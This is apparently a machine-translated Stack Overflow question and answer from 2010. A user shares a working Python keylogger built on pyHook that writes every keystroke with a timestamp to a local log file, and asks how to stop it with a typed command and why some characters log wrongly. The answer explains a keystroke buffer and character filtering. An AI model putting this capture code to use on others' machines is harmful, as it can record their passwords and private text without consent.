在Python中创建键命令

时间:2010-08-09 05:31:55

标签: python windows keylogger

我正在根据我在网上找到的脚本编写自己的简单密钥记录器。但是,我正在尝试编写一个键命令,以便在键入此命令时关闭记录器程序。我该怎么办呢? (我也知道它根本不安全,不过这个程序并不关心)

例如,Ctrl +'exit'将关闭程序。

此外,有时它不会在它创建的.log文件中正确打印某些字符,可能导致这种情况? (我认为角色鼓励类型可能会导致这个问题)

#Key Logger
#By: K.B. Carte
#Version 1.0
################

import pythoncom, pyHook, sys, logging, time


LOG_FILENAME = 'C:\KeyLog\log.out'



def OnKeyboardEvent(event):
    keytime = time.strftime('%I:%M %S %p        %A %B %d, %Y            ')
    logging.basicConfig(filename=LOG_FILENAME,
                        level=logging.DEBUG,
                        format='%(message)s')

    logging.log(10, keytime + "Key: '" + chr(event.Ascii) + "'")
    return True

hm = pyHook.HookManager()
hm.KeyDown = OnKeyboardEvent
hm.HookKeyboard()
pythoncom.PumpMessages()

这是在Windows 7,BTW中。

1 个答案:

答案 0 :(得分:0)

要通过某个命令关闭它,说“退出”......你想要创建一个缓冲区....如果你保留所有你登录缓冲区的东西,你可以轻松做到

buff += newkeypress
if "quit" in buff[-4:]:
    logfile.close()
    sys.exit(0)

或者您可以执行类似附加/弹出列表或其他类型的循环缓冲区

对于时髦的角色,你最终可能想要将整个事物打印为十六进制..或忽略低于ascii 0的事件(例如\ b和其他时髦的角色)

或者..制作一个ascii表(字典)并记录该键的匹配,所以如果你得到\ b你记录''如果得到'0'你就记录'0'